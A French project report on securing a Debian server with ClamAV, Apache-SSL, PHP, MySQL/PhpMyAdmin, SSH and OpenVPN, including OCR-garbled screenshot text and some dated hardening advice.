On créera d’autres utilisateurs pour les applications futures, avec des droits restreints.
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Clam AntiVirus est un outil antivirus GPL pour UNIX. C'est un puissant outil antivirus pour systèmes Unix. Basé sur le projet OpenAntivirus, cet antivirus détecte à l’heure actuelle plus de 96 000 virus et ses mises à jour sont quotidiennes.

Le principal atout de Clam antivirus est son démon, Clamd, qui fonctionne en tâche de fond et qui est facilement interfaçable, via des modules additionnels, avec les applications sensibles.

1. Installation :

L'installation se fait assez rapidement. Il suffit d'installer les paquets à l'aide d'APT et de configurer ceux-ci avec Debconf :

[image: image41]
On autorise l'installation des paquets ainsi que des dépendances.

Suivent les dialogues d'installation où l'on donne la méthode de mise à jour des signatures, le serveur mandataire s’il y en a un et le nombre de vérifications quotidiennes des mises à jour.
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On peut à tout moment reconfigurer l'antivirus avec la commande:


[image: image43]
Les fichiers de configuration « clamd.conf » et « freshclam.conf » sont éditables dans « /etc/clamav/ ».
2. Dépôts volatiles :

On peut faire appel à une version plus récente de ClamAV en ajoutant des sources semi-officielles à APT, dites volatiles :


[image: image44]
Il faut ensuite mettre à jour les sources d'APT :
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Mettre à jour les paquets déjà installés :


[image: image46]
La commande dist-upgrade permet de mettre à jour les paquets même si cela nécessite des désinstallations. Ce qui est le cas pour cette mise à jour, le moteur de détection doit être réinstallé.
SSL : Présentation

Nous avons utilisé le protocole ssl pour chiffrer les connexions au serveur web ainsi que dans la mise en place du VPN. 

2. Caractéristiques du protocole :

SSL est un protocole client/serveur reposant sur TCP et fournissant aux applications une interface de communication. Il existe des numéros de ports spécifiques comme le HTTPS (443), NNTPS (563), LDAPS (636), FTPS (données 989, contrôle 990), telnets (992), IMAPS (993), POP3S (995).
L’utilisation principale de ce protocole est HTTPS (implémenté dans la plupart des serveurs web et des navigateurs).
SSL Fournit trois Services de sécurité fournis :

· Confidentialité des données (RC4, DES, 3DES, IDEA…) 

· Authentification et intégrité des données (MD5, SHA-1) 

· Authentification optionnelle des tiers par cryptographie à clefs publiques 

Le protocole SSL permet notamment de L'authentification des tiers :
· Authentification du serveur :

· Le serveur est authentifié au moyen d'un certificat 

· Cette authentification est en théorie optionnelle ; elle est en pratique toujours utilisée avec HTTPS 

· Authentification des clients :

· Initialement non prévue 

· Depuis la version 3.0, il est aussi possible d'authentifier le client au moyen d'un certificat 

· Possibilité d'authentifier le client, à l'intérieur de la connexion chiffrée, par tout mécanisme propre à l'application utilisant SSL (mot de passe…) 

· Les certificats utilisés sont de format X.509v3

Il offre donc les services de sécurité suivants : 

· Confidentialité

· Authentification

· Intégrité
23. SSL dans la pile IP :
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24. Fonctionnement

La sécurisation des transactions par SSL est basée sur un échange de clés entre client et serveur. La transaction sécurisée par SSL se fait selon le modèle suivant : 

1- Le client se connecte au site sécurisé par SSL et lui demande de s'authentifier. Le client envoie également la liste des crypto systèmes qu'il supporte, triée par ordre décroissant selon la longueur des clés.

2- Le serveur lors de la réception de la requête envoie au client : 

· Son certificat (contenant sa clé publique)

· le nom du crypto système le plus haut dans la liste avec lequel il est compatible

3- Le client vérifie la validité du certificat, crée une clé secrète aléatoire, chiffre cette clé à l'aide de la clé publique du serveur, puis lui envoie le résultat (la clé de session).

4- Le serveur déchiffre la clé de session avec sa clé privée. Ainsi, les deux entités sont en possession d'une clé commune dont ils sont seuls connaisseurs. 

5- Le reste des transactions peut se faire à l'aide de clé de session, garantissant l'intégrité et la confidentialité des données échangées.
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Apache HTTP Server Version 1.3

3. Introduction sur Apache
Un ordinateur sur lequel fonctionne un serveur HTTP est appelé serveur Web. Le terme « serveur Web » peut aussi désigner le serveur HTTP (le logiciel) lui-même. Les deux termes sont utilisés pour le logiciel car le protocole HTTP a été développé pour le Web et les pages Web sont en pratique toujours servies avec ce protocole. D'autres ressources du Web comme les fichiers à télécharger ou les flux audio ou vidéo sont en revanche fréquemment servies avec d'autres protocoles. Les serveurs web les plus connus sont IIS chez Microsoft et Apache présent dans les diverses distributions Linux. 

Le nom Apache vient de a patchy server, soit « un serveur rafistolé ». Apache est devenu le serveur HTTP le plus répandu sur Internet. En mai 1999, il faisait tourner 57 % des serveurs Web, et depuis début 2004, il se maintient à environ 69 % de part de marché.

Apache fonctionne principalement sur les systèmes d'exploitation Unix (GNU/Linux, BSD et UNIX) et Windows. Apache est conçu pour supporter de nombreux modules lui donnant des fonctionnalités supplémentaires : interprétation du langage Perl, PHP et Python, serveur proxy, Common Gateway Interface, Server Side Includes, réécriture d'URL, négociation de contenu, protocoles de communication additionnels, etc. Dans notre activité les modules ssl et PHP seront utilisés pour la mise en place d’un site internet et la gestion de la base de données grâce à PhpMyAdmin.

Les possibilités de configuration d'Apache sont une fonctionnalité phare. Le principe repose sur une hiérarchie de fichiers de configuration, qui peuvent être gérés indépendamment. Pour permettre de sécuriser l’accès à PhpMyAdmin, nous avons mis en place un serveur https (Apache-ssl) pour d’une part s’assurer de l’identité du serveur grâce à un certificat SSL et d’autre part chiffrer la connexion d’un client sur le serveur.

25. Fonctionnement du service Apache
Configuration 

La configuration d’Apache s’effectue par l’intermédiaire d’un fichier «  httpd.conf ». Il contient des commandes qui permettent de régler les différents paramètres de configuration du serveur. Ce fichier est lu par Apache au démarrage ; par conséquent toute modification de ce fichier visant à ajuster certains paramètres, nécessite le redémarrage du serveur pour être prise en compte. 

Etapes du traitement d’une requête 

Le diagramme ci-dessous montre la succession des étapes de traitement : 
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Traduction de l’URI en nom de fichier 

L’URI du document demandé est de la forme /docs/monDocument.html et est présente dans l’entête HTTP de la requête (l’URL de ce document est de la forme http://www.mondomaine.com/docs/monDocument.html). Le chemin interne est /var/httpd/apache/docs/monDocument.html. Cette étape permet donc de convertir l’URI en nom de fichier ou plutôt en chemin interne où peut être trouvé le document sur le serveur. 

Analyse de l'entête de la requête 
Le serveur analyse les entêtes HTTP de la requête, ce qui lui permettra d'exécuter certains traitements en fonction de ces entêtes. 
Contrôle d’accès

Des restrictions d’accès peuvent être définies sur les ressources du serveur, en fonction de certaines caractéristiques du client (en général son adresse IP, ou le nom de sa machine). Par exemple, on peut autoriser l’accès un répertoire donné uniquement aux clients dont l’adresse IP est 127.0.0.1 (accès uniquement depuis la machine où est installé le serveur). On vérifie ici que les caractéristiques du client respectent les contrôles d’accès sur les ressources demandées. 

Vérification d'identité
On vérifie si le mot de passe et le login fournis par le client existent et sont valides (l'utilisateur est-il celui qu'il prétend être ?). 

Vérification de l’autorisation d'accès
Certaines ressources du serveur sont protégées, en plus de l'authentification par login et mot de passe, par certaines directives : accès uniquement si le client est propriétaire du fichier, ou seulement s'il appartient à un groupe d'utilisateurs donné, … . Cette étape vérifie que le client a bien le droit d'accéder au fichier demandé, si celui ci est protégé par les directives précédentes. 

 Détermination du type MIME de l'objet requis
Il s'agit ici de déterminer quel est le type MIME du document demandé afin d'exécuter certaines actions (par exemple s'il s'agit d'un fichier CGI, il faudra le traiter en conséquence). 

Emission de la réponse vers le client 
L'entête HTTP de la réponse est constituée et envoyée au client, puis c'est le document lui-même (ou le résultat d'un traitement le cas échéant) qui est envoyé au client. 

Enregistrement de la requête 
On enregistre une trace de la transaction effectuée en enregistrant dans un ou plusieurs fichiers de logs (suivant la configuration d'Apache) certaines données de cette transaction. 

Ces étapes sont traitées en se référant à une succession de modules, qui implémente des gestionnaires (Handler) pour chaque étape. 
26. Installation et configuration
Le but de notre activité est de proposer un serveur d’application sécurisé derrière un pare-feu. Mais la sécurité ne se limite pas à gérer les connexions entrantes et sortantes côté serveur d’application. Ainsi, nous verrons les modifications à apporter à la configuration classique pour sécuriser le serveur Web.

4. Installation :
Apache peut être installé de différentes manières (à partir des sources ou d’un RPM). Grâce à l’installeur de Debian, Apt-get, nous avons pu installer facilement Apache sur notre machine. Pour cela la commande suivante doit être tapé en ROOT (Administrateur) dans un prompt :
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Installation du service Apache

L’outil de configuration de Debian s’ouvre alors pour réaliser une première configuration d’apache : 

[image: image51.png]Dutil de configuration de Debian

— 1 Configuration de apache ——————————

La fonctionnalité « suExec » permet aux scripts CGI de s’exécuter avec
les droits de 1’utilisateur qui en est propriétaire. Cela est utile
lorsque les utilisateurs en qui vous placez une confiance limitée
peuvent posséder des scripts C6I.

Faut-il activer « suExec » 7

<oui>





Configuration de suEXEC
[image: image52.png]



Apache HTTP Server Version 1.3 : Apache-SSL

Nous avons besoins d’apache-ssl pour réaliser une connexion sécurisée en ssl depuis un client web. La même commande doit être tapée :
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L’outil de configuration de Debian s’ouvre pour création un  certificat SSL.
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Nous avons donc à présent « deux » serveur Apache qui s’exécutent sur le serveur. En effet Apache et Apache-ssl sont deux serveur différents qui s’installent, se configurent et se démarrent séparément.
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a) Sécurisation serveur Apache sous Debian

Il est très facile de découvrir quel serveur tourne sur un site web.  En effet de nombreux outils comme GFI Languard permettent de le découvrir.
Dans un premier temps, le but de l’activité sera de masquer la signature du serveur face à une telle commande.

Pour cela, on limite la divulgation d’information en insérant dans le fichier de configuration, /etc/httpd/httpd.conf, la ligne ServerTokensProd. Ainsi, la bannière qui apparaît lorsque l’on lance un test de vulnérabilité à l’aide de GFI Languard, Server : Apache/xxxx se limite à Server : Apache. Cette option n’est malheureusement pas présente par défaut dans le fichier de configuration. Cela ne suffit toujours pas à masquer la version d’Apache : si vous demandez une page inexistante, Apache renvoi une page d’erreur 404 avec en bas de la page, le message Apache/1.xxx Server at www.localhost.org Port 80 qui révèle la version du serveur Apache.

Pour empêcher cela, il faut désactiver l’insertion de la signature du serveur avec la commande :

ServerSignature Off. 

Ces deux directives doivent être utilisées dans la configuration du serveur Apache et d’Apache-ssl.
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Résultat :

La signature du serveur apache est cachée :

[image: image57.png]E0BIForbitien Mo AN Tefox:

Echier Edton Affichage  Hstoriqus  Merquerpages  Qutls 2

@ - @ L G [0 moinszaseoz

B Deturer svec Frefox ) Alaune

Forbidden

You don't have permission to access /doc on this server.

Apache/1.3.33 Server at 192.168.0.200 Port 80







[image: image58.png]E0BIForbitien Mo AN Tefox:

Echier Edton Afichage  Hstoriqus  Marque-pages  Outls 7

@ - @ L G [0 moinszaseoz

B Deturer svec Frefox ) Alaune

Forbidden

You don't have permission to access /doc on this server.








La bannière du serveur est quand à elle réduite à son minimum :
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Serveur Apache sans directive « ServerTokens Prod »
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Serveur Apache avec directive « ServerTokens Prod »
Les ports d’écoute des serveurs http et https sont respectivement par défaut 80 et 443. Par mesure de sécurité les ports d’écoute ont été modifiés. Le Pare-feu réalise une translation de port entre le client qui se connecte sur les ports par défaut et les services qui écoutent sur des ports différents.
b) Limitation contre les attaques de type DoS

De façon à limiter la portée des attaques de type Denial of service, il est conseillé de limiter le nombre de connexions simultanées MaxClients et en particulier le nombre de connexions persistantes MaxKeepAliveRequest. Elles permettent d’effectuer des requêtes successives lors de la même connexion, ce qui augmente les performances du serveur. L’utilisation du timeout empêche les connexions sans fin.

Dans notre cas, nous avons utilisé les valeurs suivantes :
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La gestion des droits sur un serveur web fait partie des failles de sécurité. En effet, les chemins qui contiennent le(s) site(s) sont difficiles à gérer.

La gestion des accès est effectuée par le module mod_access. On manipule principalement trois catégories d’objets :

Directory qui désigne un répertoire du serveur
Location une arborescence du serveur web
Files un fichier
Dans notre cas, par mesure défensive, nous avons tout interdit par défaut :

[image: image62.png]<Directory />
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Order indique dans quel ordre les directives Deny et Allow sont évalués. Deny from all interdit l’accès depuis partout. On aurait pu indiquer un nom de machine, nom de domaine, une adresse IP, un couple IP/masque de réseau.


Il est recommandé sur le site internet d’apache, d’insérer la ligne suivante :
UserDir disabled root

Cette directive aura pour effet d’interdire l’utilisateur root dans le répertoire utilisateur.
c) Gestion des répertoires

Le répertoire contenant PhpMyAdmin est installé dans l’arborescence du serveur web. Sans interdiction d’accès, le https peut être détourné. Pour forcer l’utilisation du https, il faut interdire dans le fichier de configuration d’apache l’accès à ce sous répertoire :
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Si cette directive n’est pas présente voici le résultat :
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Une fois la directive inscrite, le serveur interdit l’accès au répertoire : 
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La connexion se réalise alors par l’intermédiaire du https :
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27. Etude des fichiers de logs
Les fichiers de logs d’apache peuvent être analysés graphiquement avec Webalizer. Ce dernier nécessite 3 librairies différentes pour être installé. Ces librairies sont libpng-dev, zlib et libgd-dev.

Le paquetage webalizer est disponible au format targz sur le site internet http://www.webalizer.com. Pour l’installer il faut donc décompresser l’archive et compiler l’application avec les commandes « make » et « make install ».

Webalizer crée des rapports à partir des fichiers de log d’apache au format html. Pour utiliser ces rapports nous utiliseront la connexion https de notre serveur web. Les rapports seront générés dans un sous répertoire de l’arborescence du serveur apache-ssl. Or, aucune authentification n’est demandé par défaut pour accéder à ce sous répertoire. Un fichier htaccess permettant d’authentifier un utilisateur doit donc être créé. Voici le contenu de ce fichier situé dans le répertoire « /var/www/phpmyadmin/webalizer » :

[image: image67.png]Chemin du fichier contenant les mots de passe et login
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Il nous faut maintenant créer le fichier .htpasswd dans le répertoire « /etc/apache-ssl » avec la commande suivante :

[image: image68.png]ebian:"# htpasswd -c setcsapache-ssl/.htpasswd administrateur
ew passuord:

e-type new password:

dding password for user administrateur




Le mot de passe est chiffré dans ce fichier :

[image: image69.png]# cat setcsapache-ssl/.htpasswd
dministrateur :WXoalgG34YHIc





Il nous reste à présent à configurer apache-ssl pour utiliser l’authentification :

[image: image70.png]<Directory svar/www/phpmyadmin/webalizer>
Options Indexes Includes FollowSymlinks MultiUiews
Allowdverride AuthConfig
DirectoryIndex index.html

</Directory>




Pour générer un rapport la commande suivante doit être tapée :
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Cette commande va générer dans un répertoire définit dans le fichier de configuration situé dans /etc/ un certain nombre de fichier, notamment un fichier nommé index.html.

Nous pouvons maintenant lancer une connexion sur ce répertoire :
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Le certificat serveur est envoyé au client.
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Après avoir accepté le certificat, l’authentification est demandée.

[image: image74.png]Usace Stabistice foridebs

st Mot

iolagreiox

Echier Edton Affichage  Hstoriqus  Marque-pages  Outls

@- - @ L G [0 iz sebaier

B Deturer svec Frefox ) Alaune

=5 ey

L3

Usage Statistics for debian

Summary Period: Last 12 Months
Generated 18-Mar-2007 18:14 CET

Usage sumnary for debian e dsites
£ 5

Fpr oy Jun Jul Aug Sep Oct Nov Deo Jan Feb far.

Summary by Month
tont Daily Ave Monthly Totals

MG el Pages | Visics | ies RN Vi | Pces |OFles N
e 2006 5[ »[ e 2] 2 Ed Az m| @
Totals a7 4 26| 7] 30

Generated by Webali i

Terming 1216815 @&





Une fois authentifié, le rapport généré par webalizer apparaît.
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PHP est un interpréteur de scripts au niveau du serveur. Il est présent sur une majorité de serveurs web à travers le monde pour permettre de créer des applications interactives sur Internet/Intranet.

Sa syntaxe et sa construction ressemblent à celles des langages C++ et Perl, à la différence que le PHP peut être intégré dans du code HTML. On peut considérer le PHP comme une version simplifiée du Perl qui appartient lui-même à la grande famille des descendants du C, ce qui explique les très nombreuses similitudes de syntaxe.

La procédure précise d’installation diffère selon le type de système d’exploitation et de serveur web. Notez que PHP peut fonctionner de deux façons : comme un logiciel indépendant ou comme un module du serveur web Apache. Sous Windows, il est conseillé de faire fonctionner PHP comme un module d’Apache car c’est plus rapide à installer et les performances sont meilleures. Sous Linux, la différence n’est pas flagrante.

Lors de l’installation de PHP, un fichier de configuration nommé « php.ini » sera créé. Ce fichier se trouve dans le répertoire « /etc/php4 ».

Le fichier « php.ini » est un fichier texte contenant des commandes du type :

Ma Commande = valeur

La liste des commandes possibles est très longue et peut être consultée dans la documentation en ligne. Un fichier de configuration stable par défaut est fourni à l'installation. Il se nomme  « php.ini-recommended ».

1. Installation :

Au lieu de télécharger les sources de PHP et de les compiler nous-mêmes, l'utilisation du système de paquets de Debian est la méthode la plus simple et la plus propre pour installer PHP sur Debian GNU/Linux.

Le paquet PHP correspondant à notre version d'Apache est « libapache-mod-php4 ». Il suffit de taper la ligne de commande suivante en tant que « root » afin d'installer le paquet :


[image: image76]
APT installe automatiquement le module PHP 4 pour Apache 1.3 ainsi que toutes ses dépendances et les active. Il redémarre ensuite le serveur web Apache. Si ce n'est pas le cas :


[image: image77]
On peut vérifier le fonctionnement immédiat du moteur PHP en créant une page à la racine du site web contenant :


[image: image78]
On ouvre un navigateur et on recherche l'adresse http://adresseduserveur/phpinfo.php . Si le moteur PHP ne fonctionne toujours pas, on vérifie le chargement du module php4 d'Apache avec la commande :
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Cela a pour effet de modifier le fichier « /etc/apache/modules.conf » en ajoutant le chargement du module php4 :


[image: image81]
2. Sécurisation :

Une fois le moteur PHP correctement installé nous allons procéder à sa sécurisation. PHP est un langage puissant et l'interpréteur est capable d'accéder aux fichiers, d'exécuter des commandes et d'ouvrir des connexions réseaux. Toutes ces propriétés rendent fragile la sécurité d'un serveur web.

Le fichier de configuration appelé « php.ini » est lu par PHP au démarrage. Lorsque PHP est compilé en module d'Apache, le fichier n'est lu qu'une seule fois au lancement du démon HTTP. Le fichier se trouve dans « /etc/php4/ ».

La première des précautions est de masquer PHP dans l'identification du serveur Web avec la directive :


[image: image82]
On évite ainsi la divulgation de la version de PHP utilisée sur le serveur et les problèmes de sécurité lié à cette information.

Il existe une méthode pour cacher totalement l'existence de PHP sur le serveur web. Elle consiste à changer l'extension de tous les fichiers .php en .html, on change alors les lignes suivantes:
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Bien évidemment si le serveur web héberge des applications connues pour fonctionner avec PHP comme PHPbb, cette précaution est inutile.

Une autre précaution très importante pour la sécurité est d'activer les « Magic Quotes ». Lorsque cette directive est active, les guillemets simples ', les guillemets doubles ", les antislashs \ et les caractères null NULL sont protégés automatiquement avec un antislash.


[image: image85]
Cela affecte les données issues des requêtes HTTP (GET, POST, et COOKIE) et a pour effet de protéger le contenu des variables récupérées par PHP. On peut ainsi se protéger des exécutions de code non désirées (injection de code, injection SQL).


[image: image86]
La plupart des fonctions qui retournent des données externes, y compris issues d'une base de données ou d'un fichier texte, verront les données protégées par des antislashs.

On peut aussi activer le « safe mode » ou mode sécurisé dans le but de désactiver certaines fonctions du PHP considérées comme non sûres. Pour cela on modifie la directive:


[image: image87]
Les fonctions de connexion à la base de données qui spécifient des valeurs par défaut utiliseront ces valeurs au lieu des arguments fournis.

On limite le temps maximal d'exécution de chaque script PHP afin de se protéger des boucles infinies:
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[image: image89.png]MysalL:




MySQL est un serveur de bases de données relationnelles SQL développé dans un souci de performances élevées. Il est multithread, multiutilisateurs. C'est un logiciel libre développé sous double licence en fonction de l'utilisation qui en est faite : dans un produit libre (open-source) ou dans un produit propriétaire. Dans ce dernier cas, la licence est payante, sinon elle est libre. Plusieurs erreurs graves de codage du programme, pouvant conduire à l'exécution de code arbitraire via des débordements de pile, ont été révélées sur Usenet.

Il peut être installé de manière totalement indépendante du serveur Apache et de PHP car il gère ses droits et sa configuration en interne. C'est un des moteurs de base de données les plus utilisés au monde et il est Open source dans sa version Community.

Pour plus de simplicité dans la configuration, on utilise en général une interface graphique supplémentaire. Une des plus simples à installer est PhpMyAdmin.

3. Installation :

Nous allons donc effectuer l'installation du serveur MySQL puis nous installerons le nécessaire afin de communiquer avec notre serveur MySQL au travers de PHP.

Pour installer MySQL Server il suffit d'entrer la ligne de commande suivante :


[image: image90]
Attention! Par défaut Debian installe une version 4.0 de MySQL Server si l'on ne précise pas que l'on désire la version 4.1. La version 4.1 a modifié la fonction de hachage des mots de passe stockés dans la base de données système de MySQL. Les hachés ne sont plus stockés sur 16 octets mais sur 41 octets.

Toutes les dépendances sont installées automatiquement après autorisation de l'installation.

L'installeur Debconf nous indique que la machine doit posséder un nom résolvable dans le fichier « /etc/hosts ». On nous informe également que l'utilisateur debian-sys-maint est créé dans MySQL afin de démarrer et d'arrêter le démon mysqld. Il ne faudra donc pas le supprimer.

Le serveur est désormais fonctionnel mais avant toute opération on commence par donner un mot de passe à l’utilisateur root car il n’en possède pas par défaut :


[image: image91]
Pour vérifier notre installation il est possible de se connecter au serveur MySQL en tapant :


[image: image92]
Apres avoir entré le mot de passe, on peut entrer des commandes MySQL. Examinons les bases de données existantes :


[image: image93]
On quitte la console MySQL:


[image: image94]
L'utilisation de la console du serveur est fastidieuse, on passe donc maintenant à l'installation de PhpMyAdmin qui sera notre interface d'administration graphique :


[image: image95]
Le gestionnaire de paquet installe le moteur PHP stand-alone ainsi que le module de communication avec MySQL php4-mysql. Debconf nous demande alors si l'on désire configurer automatiquement PhpMyAdmin avec un serveur web. On choisit apache-ssl, puisque nous désirons un maximum de sécurité.
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Debconf nous invite à redémarrer le serveur apache-ssl.

On vérifie le chargement du module PHP du serveur apache-ssl. On peut également modifier la racine du serveur web si on le désire :
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	On peut désormais se connecter à PhpMyAdmin via SSL.
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4. Sécurisation :

Pour sécuriser MySQL la première chose à faire est d'appliquer un mot de passe à l'utilisateur root si ce n'est pas déjà fait. Nous utiliserons maintenant PhpMyAdmin pour administrer le serveur MySQL :

· Cliquer sur l’option Privilèges
· Cliquer sur l’option Changer les privilèges à la ligne faisant référence à l’utilisateur root
[image: image101.jpg][] root localhost Oui ALL PRIVILEGES  Oui




· Cocher l’option Modifier le mot de passe et le définir
[image: image102.jpg]* Modifier le mot de passe
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· Le mot de passe est modifié :
[image: image103.jpg]Le mot de passe de ‘oot@Tlocalhost’ a été changé.

requéte SOL:
SET PASSWORD FOR 'root@'localhost = PASSWORD( ™" )




Apres avoir changé le mot de passe on est invité à s'identifier à nouveau.

Il existe trois modes d'authentification dans PhpMyAdmin: config, HTTP ou cookie :

· Avec Config nécessite d'inscrire le couple login/mot de passe dans le fichier de configuration config.inc.php ce que l'on évitera.

· Avec HTTP, le serveur web demande une identification avant l'affichage la page d'accueil. Le mode HTTP n'est compatible qu'avec Apache.

· Le mode cookie délègue l'authentification des utilisateurs à PhpMyAdmin et est compatible avec tous les OS et navigateurs supportant les cookies.

Nous accédons à PhpMyAdmin via une connexion SSL dans un tunnel IP Sec, il y a donc très peu de chance que les informations fournies lors de l'identification soient divulguées.

On supprime également l'enregistrement de l'utilisateur root faisant référence au nom de la machine puisqu’aucune application faisant appel à une base de données ne s'exécutera en dehors du serveur.

L'utilisateur debian-sys-maint doit être conservé, le système contrôle le démon mysqld grâce à cet utilisateur.

On supprime la base de données test :

[image: image104.jpg]La base de données ‘test' a été effacée. (traitement: 0.0079 sec.)

requéte SOL:
DROP DATABASE ‘fest”




Par défaut le serveur MySQL n'écoute que l'adresse locale 127.0.0.1. On conserve cette directive du fichier de configuration « my.cnf » situé dans « /etc/mysql/ » :
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On change également le port d'écoute par défaut du démon :
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Il faut bien sur modifier le port utilisé par défaut dans PhpMyAdmin en conséquence :
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Après ces deux modifications on redémarre le démon mysqld :


[image: image108]
L'accès au serveur MySQL n'est désormais possible que par :

· la console MySQL et PhpMyAdmin chiffré par SSL

· un port d'écoute modifié

· l'utilisateur root protégé par mot de passe

On créera d’autres utilisateurs pour les applications futures, avec des droits restreints.
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Clam AntiVirus est un outil antivirus GPL pour UNIX. C'est un puissant outil antivirus pour systèmes Unix. Basé sur le projet OpenAntivirus, cet antivirus détecte à l’heure actuelle plus de 96 000 virus et ses mises à jour sont quotidiennes.

Le principal atout de Clam antivirus est son démon, Clamd, qui fonctionne en tâche de fond et qui est facilement interfaçable, via des modules additionnels, avec les applications sensibles.

3. Installation :

L'installation se fait assez rapidement. Il suffit d'installer les paquets à l'aide d'APT et de configurer ceux-ci avec Debconf :


[image: image110]
On autorise l'installation des paquets ainsi que des dépendances.

Suivent les dialogues d'installation où l'on donne la méthode de mise à jour des signatures, le serveur mandataire s’il y en a un et le nombre de vérifications quotidiennes des mises à jour.
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On peut à tout moment reconfigurer l'antivirus avec la commande:


[image: image112]
Les fichiers de configuration « clamd.conf » et « freshclam.conf » sont éditables dans « /etc/clamav/ ».
4. Dépôts volatiles :

On peut faire appel à une version plus récente de ClamAV en ajoutant des sources semi-officielles à APT, dites volatiles :
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Il faut ensuite mettre à jour les sources d'APT :


[image: image114]
Mettre à jour les paquets déjà installés :


[image: image115]
La commande dist-upgrade permet de mettre à jour les paquets même si cela nécessite des désinstallations. Ce qui est le cas pour cette mise à jour, le moteur de détection doit être réinstallé.
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28. Fonctionnement
Les données circulant entre le client et le serveur sont chiffrées, ce qui garantit leur confidentialité (personne d'autre que le serveur ou le client ne peut lire les informations transitant sur le réseau). Il n'est donc pas possible d'écouter le réseau à l'aide d'un analyseur de trames. 

Le client et le serveur s'authentifient mutuellement afin d'assurer que les deux machines qui communiquent sont bien celles que chacune des parties croit être. Il n'est donc plus possible pour un pirate d'usurper l'identité du client ou du serveur (spoofing). 

L'établissement d'une connexion SSH se fait en deux étapes : 

· Le serveur et le client s'identifient mutuellement afin de mettre en place un canal sécurisé (couche de transport sécurisée). 

· Le client s'authentifie auprès du serveur pour obtenir une session. 

La mise en place du canal sécurisée débute par une phase de négociation des méthodes de chiffrement utilisées.

Afin d'établir le canal sécurisé, le serveur envoie sa clé publique au client.

Le client génère une clé de session de 256 bits qu'il chiffre grâce à la clé publique du serveur, et l’envoie au serveur avec l'algorithme utilisé.

 Le serveur déchiffre la clé de session grâce à sa clé privée et envoie un message de confirmation chiffré à l'aide de la clé de session.

Le canal sécurisé étant en place, le reste de la communication est chiffrée symétriquement par l’intermédiaire de la clé de session. 
29. Configuration et installation :
Sur le serveur Debian, l’administration se fera par le biais du serveur SSH. Ce service sera « chrooté » sur une adresse particulière. Cette adresse sera celle du client VPN.

[image: image117.png]:7# apt-get install ssh_




L’outil de configuration de Debian apparait pour définir certains modes de fonctionnement du SSHD :
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L’installation se termine par la génération de clé RSA et DSA
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Pour “Chrooté” le service SSH sur une adresse particulière, la ligne suivante doit être modifiée :
[image: image122.png]# Package generated configuration file
# See the sshd(8) manpage for details

# What ports, IPs and protocols we listen for
Port 22

# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress :

Listennddress 192.168.25.1_
Protocol 2

# HostKeys for protocol version 2
HostKey setc/sshsssh_host_rsa_key
HostKey ~etc/ssh/ssh_host_dsa_key





SSH écoute le port n°22 sur l’interface d’adresse 192.168.25.1. Cette adresse, nous le verrons un peu plus tard, est l’adresse du serveur VPN.
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5. Présentation :
Openvpn est un logiciel libre de droit, il est donc une très bonne alternative en ce qui concerne la création de tunnels protégés utilisant Internet comme support physique. Openvpn se base sur le protocole de sécurisation SSL/TLS pour assurer la confidentialité des échanges. L’authentification se fait la plupart du temps à l’aide de certificats accompagnés de clés.

Il existe deux modes d’utilisations principales concernant Openvpn:

Mode de niveau 2 : utilisation d'une interface TAP (mode bridgé)

Mode de niveau 3 : utilisation d'une interface TUN (mode routé)

Globalement, si l'on ne souhaite gérer que du trafic IP (niveau 3) il faudra s’orienter vers un mode d’utilisation de niveau 3, tandis que si l’on désire transporter des protocoles autres qu’IP (Niveau 2) il faudra s’orienter vers le mode d’utilisation de niveau 3.

Pour les échanges de données il va mettre en place 2 mesures :

· Un tunnel crypté pour garantir la confidentialité

· Identifier les utilisateurs pour garantir leur identité

Dans notre cas, Openvpn utilise les périphériques tun pour faire passer les données, nous avons donc : 

Données en clair-->tun0 (cryptage)-->wlan0-----réseau------wlan0-->tun0 (décryptage) --> données en clair

 
Les paquetages Debian nécessaires à son installation sont les suivants :

· bridge-utils_0.9.6-5_i386.deb -> uniquement pour le serveur (interface TAP)

· openssl_0.9.8a-8_i386.deb

· libssl0.9.8_0.9.8a-8_i386.deb

· liblzo1_1.08-3_i386.deb

· openvpn_2.0.6-1_i386.deb

Tous ces paquetages peuvent être installés à l’aide de la ligne de commande "apt-get install <nom_du_paquet>" sous un environnement Debian. 

Nous avons besoins d’une autorité de certification pour délivrer le certificat serveur et le certificat client. Cette Autorité de Certification se situe sur la machine Debian. Nous avons besoin d’OpenSSL pour générer ces certificats.
30. Mise en place de l’autorité de certification :
Openvpn installe OpenSSL. Nous pouvons des à présent mettre en place une autorité de certification et générer des certificats.

Première étape générer un certificat auto signé :

openssl req -nodes -new -x509 -keyout server-ca.key -out server-ca.crt
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Seconde étape : création d’une clé privée pour le serveur
openssl req -nodes -new -keyout server.key -out server.csr
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Troisième étape : L’AC contre signe 

openssl ca -cert server-ca.crt -keyfile server-ca.key -out server.crt -in server.csr
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Ces étapes doivent être répétées pour la création d’un certificat client.

31. Distribution des certificats :
Coté serveur il n’y aura pas de problème pour récupérer les certificats. En revanche côté client le transfert des clés et certificats posera un problème de sécurité. En effet, le transfert de ces éléments doit se faire de manière sécurisée. Pour cela, la solution retenue est de faire appel au protocole SSH et notamment à la commande SCP. Il nous faut donc installer le service SSH sur le client. 
Nous l’avons vu précédemment, l’installation est simple sur une machine Linux. Or notre client est une machine Windows XP. Il nous faut donc installer et configurer le logiciel « Cygwin » nous permettant d’installer un serveur SSH sur une plateforme Windows.
Installation :
Etapes importantes lors de l’installation :
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Sélection des "paquetages"
Il nous faut maintenant configurer le SSHd dans Windows :

Dans les propriétés du poste de travail > Avancé > variables d’environnement :
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Une fois cette étape réalisée, 4 commandes sont à lancer dans prompt de Cygwin :

[image: image129.png]@apolkapotravail ™~
mkpassud —1 > Jete/passud

@apo@kapotravail ~
mkgroup -1 > Jetc/group

@apo@kapotravail ~

ssh-
sh-add.exe ssh-host-config ssh-keyscan.exe
sh-agent.exe  ssh-keygen.exe ssh-user—confiy

@apo@kapotravail ~
ssh-host-config —y

@apo@kapotravail ~
ssh-keygen.exe

enerating public/private rsa key pair.

nter file in which to save the key C(/home/kapo/.ssh/id_rsad: y
nter passphrase (empty for no passphrase>:

nter same passphrase again:

our identification has heen saved in y.

our public key has been saved in y.pub.

he key fingerprint is:

CHONS I

:34 kapoRkapotravail

@apo@kapotravail ~




Les premières commandes permettent de copier les utilisateurs Windows dans les fichiers passwd et group.

32. Envoi des certificats au client :
Dés lors nous disposons sur la machine Windows d’un serveur ssh.

Test de connexion :
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Comme toute connexion à un serveur ssh, un login et un mot de passe sont demandés. Le compte à utiliser est celui de la machine Windows.

